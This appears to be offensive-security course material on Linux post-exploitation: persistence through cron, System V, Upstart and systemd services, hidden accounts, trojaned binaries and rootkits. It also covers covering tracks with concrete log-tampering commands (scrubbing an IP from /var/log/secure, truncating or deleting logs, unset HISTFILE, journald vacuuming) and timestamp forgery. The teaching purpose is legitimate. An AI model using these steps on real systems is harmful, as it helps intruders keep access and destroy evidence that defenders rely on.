The location and format of the cron files were discussed earlier in privilege escation. The only change here is that your user context is already root and are now going to use cron to maintain persistence.

Cron could be used for persistence in a few ways:

- By adding an new cron job entry to a user or system crontab
- By adding a new script to system cron folders
- By hijacking an existing cron script adding new code to perform the desired function

Since a cron job can execute programs and scripts, what you do with them is endless.

cron is a Unix service/daemon which allows the scheduling of commands or scripts to run at specified dates/times. The Windows equivalent is scheduled tasks.

There are many flavors of cron. Some crons support the extended cron format which have a year column (nncron http://www.nncron.ru/help/EN/working/cron-format), but they are rarely, if ever, used. Realize that there may be differences between cron flavors so the following information may not be exact to your flavor but you should be able to adjust.

Sources

- http://man7.org/linux/man-pages/man8/cron.8.html - cron man page
- http://man7.org/linux/man-pages/man5/crontab.5.html - crontab man page

Using init system autostart service for persistence

We can use the init system to launch our service. This service could be a callback that loads a more

complex executable, or it could load some other malware hidden on disk. Like persistence with cronjobs, the possibilities are endless.

Regardless of the init system, the key for persistence is to have the system execute a script or process in order to keep an active presence.

There are various init systems commonly used with with Linux distributions. Although their purpose is generally the same, and there are differences between then and their configurations are different.

- System V (⇐ Debian 6, ⇐ Ubuntu 9.04, ⇐ CentOS 5) - Legacy, but actively supported and still in use on Linux and other Unix variants.
- Upstart (Ubuntu 9.10 - Ubuntu 14.10, CentOS 6) - Not supported since 2014 but still found on legacy systems.
- SystemD (Debian 7+, Ubuntu 15.04+, CentOS 7+ - Most prominent on modern Linux distributions.
- Plus dozens of other misc and derivitive init systems (openrc, busybox init, etc.)

Persistence can be created by creating new startup script and setting them to launch upon system startup, or an existing service could be hijacked and functionaly added to it in order to maintain persistence.

System V

System V defines seven runlevels, and convention defines their use/purpose as:

- 0 - Runlevel 0 is configured for system shutdown, also called poweroff, or halt
- 1 - Runlevel 1 is configured for single-user mode, also referred to as rescue mode
- 2 - Runlevel 2 is configured for multi-user mode, without networking, and without graphical user interface
- 3 - Runlevel 3 is configured for multi-user mode, with networking, and without graphical user interface
- 4 - Runlevel 4 is not defined.
- 5 - Runlevel 5 is conifigured for multi-user mode, with networking, and with graphical user interface
- 6 - Runlevel 6 is for system reboot

It is best to test this in a development environment first because a minor error in a startup script may result in a major issue.

For pure System V systems, we can create a service script from the skeleton via:

```
cp /etc/init.d/skeleton /etc/init.d/<servicename>
```

or if skeleton file doesn't exist, copy an existing startup script that in the `/etc/init.d` directory that can be easily modified to the same directory with a new name that blends in and looks like a normal, typical startup script.

`cp /etc/init.d/<oldservicename> /etc/init.d/servicename>`

Edit the new service created to imbed the desired functionality such as a callout, etc.

`vi /etc/init.d/<servicename>` # Used your desired editor

Change the permissions on the new service script to make it executable.

`chmod +x <servicename>`

Ensure to use the appropriate path for the symbolic link (relative or absolute) to match the system in which you are on so that your runlevel script blends in with the others.

Set the script to start when the system enters runlevels 2 through 5.

`chkconfig --add <servicename>`

or if the `chkconfig` command is not available, create a symbolic link to the appropriate directory. Assuming the default runlevel is 3, and the rc directory for runlevel 3 is /etc/rc3.d/ then run the command:

`cd /etc/rc3.d && ln -s ../init.d/servicename>`

Verify the creation of the service with:

`chkconfig --list | grep <servicename>`

```
<servicename>      0:off   1:off   2:on    3:on    4:on    5:on    6:off
```

or if the `chkconfig` command is not available

`find -L /etc/rc*.d | grep <servicename>`

Start the service with:

`service <servicename> start`

OR

`/etc/init.d/<servicename> start`

NOTE Note: for more information on chkconfig and how it works, RedHat chkconfig howto here.

System V derivatives

Although the use of System V init is falling out of favor to systemd, there are derivatives of it such as OpenRC that are still in use. It also may show up on older or embedded systems. Additionally, systemd, to a certain degree, is backwards-compatible with System V.

There are too many of these to go through individually, but the section on "System V" would be a good start and there will likely be some differences.

Upstart

For Upstart, we use a config file located in `/etc/init/servicename.conf`. Below is a sample script: # Ubuntu upstart file at /etc/init/servicename.conf

```
pre-start script
    mkdir -p /var/log/yourcompany/
end script
respawn
respawn limit 15 5
start on runlevel [2345]
stop on runlevel [06]
script
su - youruser -c "NODE_ENV=test exec /var/www/yourcompany/yourproject/yourservice.js
2>&1" >>  /var/log/yourcompany/yourservice.log
end script
```

Like System V, Upstart is deprecated and will likely only be found on older systems.

SystemD

SystemD does more than just start services, however for this discussion we will only cover using it to start a script.

Systemd service scripts are stored in the directory: `/lib/systemd/system`.

To create your own systemd service, copy any service file and edit it for your needs: `cp /lib/systemd/system/cron.service /lib/systemd/system/<servicename>.service`

Enable the newly created servce to start at boot with the command:

```
systemctl enable <servicename>.service
```

And start the newly created servce to start at boot with the command:

```
systemctl start <servicename>.service
```

Sources:

- https://www.digitalocean.com/community/tutorials/how-to-configure-a-linux-service-to-start-automatically-after-a-crash-or-reboot-part-1-practical-examples - Digital Ocean Service Tutorial
- https://www.digitalocean.com/community/tutorials/how-to-use-systemctl-to-manage-systemd-services-and-units - How To Use Systemctl to Manage Systemd Services and Units
- https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/local/service_persistence.rb - MSF service_persistence.rb

Discuss: Other Techniques

Some other techniques that an attacker could use:

- If ssh or some other form of remote access is enabled, an attacker can simply add ssh keys or an additional user account (see: useradd or adduser). More stealthy techniques would be to re-purpose a stale user account or convert a built-in system account to a user account by modifying the /etc/passwd line to add a shell for that user, then add appropriate access for the user (sudoers, etc.) so you can become root user as needed. You can also change the UID for these users to '0', but this is odd and has a likely chance of being noticed.
- Install a Remote Access Trojan (RAT). A Remote Access Trojan is a program that, in itself, is not malicious, but it is often used maliciously. The word “Remote” means that they includes a back door for administrative control over the target computer. The word “Trojan” in the name implies that this program is typically piggybacked on another user program often downloaded from a less than legitimate site, or sent as an email attachment disguised as something that entices the user to click away and inadvertently install it. All-in-all, a RAT is just a program that can be carelessly installed by an end user or purposely installed by a malicious actor.
- Replace commonly used commands with versions that contain additional hidden features/functions. In this way, when root runs a command, it could create a reverse shell (or anything else desired) and connect back to the actor. This is trivial to perform on Linux as it is open source and the code modification is simple for even a semi-skilled coder.
- A kernel module can be installed that provides a persistence and/or stealthy capabilities. See: https://github.com/f0rb1dd3n/Reptile

Covering Tracks

Prior to gaining access to the box:

- Which of your actions could be reasonably expected to create a log?
- Within which logs would these anticipated entries be created?
- What, if anything can be done to prevent log entries from being generated?

After gaining access to the box:

- How to check logging settings on the box?
- What can you do to avoid further logging?
- What log files updated during your time on target?

Before exiting the box:

- What actions should I take to ensure my presence was not noticed?
- Would it be easier/better to modify the traces I left behind to not attribute to me?

When does Covering Tracks start?

- The Mission and Situation will dictate; however, items to consider are:
  - What type of OS are we interacting with?

- Linux: `unset HISTFILE`

Syslog and Rsyslog Daemons

Rsyslog is the most common standardized system message logging service to which any properly configured application can send data via its (logging) socket. Its full name is "rocket-fast Syslog Server" and abides by the Syslog Protocol RFC (https://tools.ietf.org/html/rfc5424) It is the daemon that creates and controls the contents of the majority of text based logs in /var/log. Default logging rules are defined in **/etc/rsyslog.d/50-default.conf** on systemd based Linux distributions while custom configuration data is in **/etc/rsyslog.conf**.

Rsyslog receives messages based on the following standardized format: <**facility**>.<**severity**>.

Example logging rules from **/etc/rsyslog.d/50-default.conf**

```
auth,authpriv.*         /var/log/auth.log  ①
*.*;auth,authpriv.none      -/var/log/syslog ②
#cron.*             /var/log/cron.log ③
mail.info           /var/log/mail.log ④
*.*                 @192.168.10.100 ⑤
```

① Authentication **facility** messages of **all** serverity levelsto auth.log

② All facilities **but auth and authpriv** of every **severity level** to /var/log/syslog

③ Commented out rule that logs cron facility messages of **all severity levels** to cron.log

④ Mail facility messages of the severity level **info or higher** are sent to /var/log/mail.log

⑤ Simple log forwarding statement that sends **all facilities and severity messages** to a remote logging server at port UDP 514

Sources

- https://www.rsyslog.com/doc/v8-stable/configuration/conf_formats.html - Rsyslog .conf configuration information
- https://www.the-art-of-web.com/system/rsyslog-config/ - Explaination of the concept of Rsyslog

Linux logging SystemV

SystemV style logging uses a syslog daemon that is designed to collect, format, and saves log messages in ASCII text format for entities written to utilize it. Syslog logs using facilities (what entity created the log entry) and severity (how important is the message). See RFC 5424 for a list of facilities and severities. Applications do not have to use syslog. For example, apache (an http server) can be configured to utilize syslog, but can also log to its own independent logs.

ASCII Logs

Filename	Description
/var/log/dmesg	Kernel logs in memory. Also commonly logged to /var/log/dmesg or can be seen in /var/log/messages or equivalent and are in ASCII text format. The "dmesg" command can be used to display this information.
/var/log/syslog **OR** /var/log/messages	Stores global system activity data not save to other syslog files, including startup messages. These files are in ASCII text format.
/var/log/secure **OR** /var/log/auth.log	Authentication events from the syslog facility that require extra privacy. This file is in ASCII text format.
/var/account/acct **OR** /var/account/pacct	Process-level accounting file save in binary format. Use the commands "ac" (print user connect time statistics), "sa" (print summarized user accounting information), and "lastcomm" (displays command usage history).
/var/log/xferlog	Logs ftp access in ASCII text format.

Binary Logs

Filename	Description	Ccommand to Read
/var/log/lastlog	Binary log the last time a user logged in.	Read with the command **lastlog**.
/var/log/btmp	Failed login attempts in a binary format.	Read with commands **lastb** or **last -f /var/log/btmp**.
/var/log/utmp(x)	Database of currently logged in users in binary format. Use the commands "users", who", or "w" to display the contents of this file.	**users**, **who**, or **w**
/var/log/wtmp(x)	Provides a permanent historical record of each time a user logged in and out, and system boots, reboots, and shutdowns in binary format. Use the commands "lslogins" or "last" to display the contents of this file.	**lslogins**

Linux logging systemd

Systemd is bundled with journald (systemd-journald). Like syslog, journald, collects and stores logging data. Some of the differences are that the format to which it saves is **binary**. In most systems journald saves a copy of the syslog's ASCII text output as journald binary logs. On the systems we use in this course, journald's logs are not persistent and it pushes to the logging socket where they are handled by rsyslog.

Journalctl is the program designed to read the binary logs saved to **/var/log/journal/**. It is also the **only way to clean journald logs**

Information	Description
Kernel information	The dmesg command will display the kernel ring buffer in memory, but journald captures and stores kernel information in its logs. It can be displayed from the logs with the command "journalctl -k".
Unit (daemon) information	Information about specific services can be gathered by using the command "journalctl -u unitname". For example: journalctl -u sshd # for a single unit **OR** journalctl -u sshd -u vixie-cron # and so on for multiple units
Authentication information	Authentication information can be different things depending on the context on how it is used. Gathering events that can be considered authentication or user context changed (su) are important. The command "journalctl -q SYSLOG_FACILITY=10 SYSLOG_FACILITY=4" does this nicely.

```
journalctl -f ①
sudo journalctl SYSLOG_FACILITY=10 ②
journalctl --vacuum-time=10m ③
systemctl list-unit-files --all ④
journald -u <unit name> ⑤
```

① Output the content of journald logs from the bottom

② Shows the content of security/authorization logs similar to auth.log

③ Clears the last 10 minutes of binary logs collected in the **current** journald log.

④ Shows all of the units selectable with journald -u

⑤ Shows systemd logs only associated with a specific unit

Linux auditing

Auditd handles auditing on Linux. It can be used on SystemV and systemd systems. Nearly any action can be audited, from the reading, writing, executing of files/commmands, and actions such as changing the system date/time, etc. Auditd tracks inodes, rather than filesystem object names. This means that a file is tracked even if it's name is changed.

On SystemV systems, the log file is typically /var/log/audit.log and it is in ASCII text format. On systemd systems, journald is often configured to capture audit events. In order to glean and display audit events, use the commands "ausearch" or "aureport."

Linux auditing commands and enumeration

Command	Description
ausearch	Auditing command that queries audit daemon logs. There are many options for this command, but a couple simple useful ways to use it are "ausearch -ua <username>"" to get events associated with a specific users, or "ausearch -m ADD_USER,DEL_USER,USER_CHAUTHTOK,ADD_GROUP,DEL_GROUP,CHGRP_ID,ROLE_ASSIGN,ROLE_REMOVE -i" to get activity associated with users, groups, and role assignments.
aureport	Auditing command that produces summary reports of audit daemon logs.
journalctl	If auditing events are logged using journald, then journalctl can be used to query audit events with the command "journalctl _TRANSPORT=audit"

Linux Commands to Clear ASCII Logs

Command	Description
grep -v "192.168.0.55" /var/log/secure > /tmp/secure.clean; mv /tmp/secure.clean /var/log/secure; touch -t 02180455 /var/log/secure	Removes the IP address 192.168.0.55 from /var/log/secure and places it in a new file called /tmp/secure.clean, moves the new file over the original file, and alters the timestamp in an attempt to make it look normal.
cat /dev/null > /path/to/logfile	Overwrites the contents of the logfile with nothing clearing its contents.
rm -rf /path/to/logfile	Completely removes the log file.

Command	Description
echo "$(tail -n 50 /var/log/auth.log)" > /var/log/auth.log	Can be used with head/tail to keep the desired portions of the log file and remove the rest. In this case, the most recent 50 entries are saved and the rest are removed.
unset HISTFILE	If bash is configured to save its log upon exit, then this will ensure that the current bash sessions' history is not saved.

Topic 2: Blending In

Introduction

- In order to remain undetected, we need to make sure that our actions do not raise any red flags. we accomplish this by blending into our surrondings. This includes file naming conventions, file location in the directory, and timestamps. When choosing a name for any file we write to disk, we need to take a look at the existing file names and name our file something similar. If our file need to have specific accesses (readable, writable, and executable), we need a location in the file system that supports those accesses. Finally, we need to alter our file's timestamp so that it matches the surrounding files' timestamps.

Discussion

- What is a timestamp?
  - Timestamps are information that is encoded to show when an event occurred. They usually give the date and time this occurred. You can view the timestamps on Linux by utilizing the "stat()" command. This will show you the access time, modify time and change time.
- Why would you want to change a timestamp?
  - There are many reasons to change a timestamp on a file. Since we are looking at covering tracks, we want to look at this from the view point of an attacker. Why would an attacker want to change timestamps on a file? One reason is to have the newly created file blend in with other files on the system and not appear as odd. This allows you to add a file to a system during a non-peak time and change the date and time so it looks like a normal user created it during normal hours.
- Linux
  - touch -t # Although the touch command can be used to alter timestamps, it is not perfect. The ctime (change time) will **always** reflect the time in which this command was run against a file; therefore, usage of this command to modify a files timestamps will still be noticable by examining the ctime. A way around this is to change the system time to the time desired for the ctime, perform the atime/mtime changing actions and change the system time back. NOTE: Changing system time is something that should rarely, if ever, happen. The changing of the system time is something that should be audited to ensure legitimate use.

Topic 3: Artifacts

Introduction

- What do we mean by 'artifact'?
  - Artifacts are the items we leave behind after we exit a system. Examples include text files we created, logs that include our information (IP we came from, username we entered the system as, etc.), services that we started, and anything else that was not there until we showed up. While each piece of data will not reveal everything that happened, several together could establish a process, technique, or motive.

Discussion

- Why is it important to only work in memory on a remote machine? Can I just write a file to a temp directory?

Commands

- Linux
  - ls -al /tmp
  - mount (looking for a tmpfs that doesnt have noexec)

Topic 4: Resource usage

Introduction

- There are only so many resources to go around on a system. As we clean up after ourselves, it is important to note if our actions caused a spike in RAM or CPU utilization. Have we used any hard disk space? Have we maxed available connections, threads, or PIDs?
- Just like we discussed regarding resources, network usage is just as important. Often, network usage is apparent as soon as an administrator runs a netstat and your port selection can draw unwanted attention.

Discussion

- How can resource usage be a bad thing if you are on the offensive side?
- What are some things you would look for in resource usage if you are a local defender?
- As an attacker, what resources do you want to keep track of so you don’t use to much?

Commands

Linux resource usage commands

df -h	Show disk space utilization in "human reable" format

free	Display amount of used and free memory in a system
netstat -auntp	Show all UDP and TCP sockets.
netstat -rn	Display systems routing table
ss -an	show all sockets without name resolution
ss -anp	show process information as well
ss -aep	show all sockets with detailed information and process associated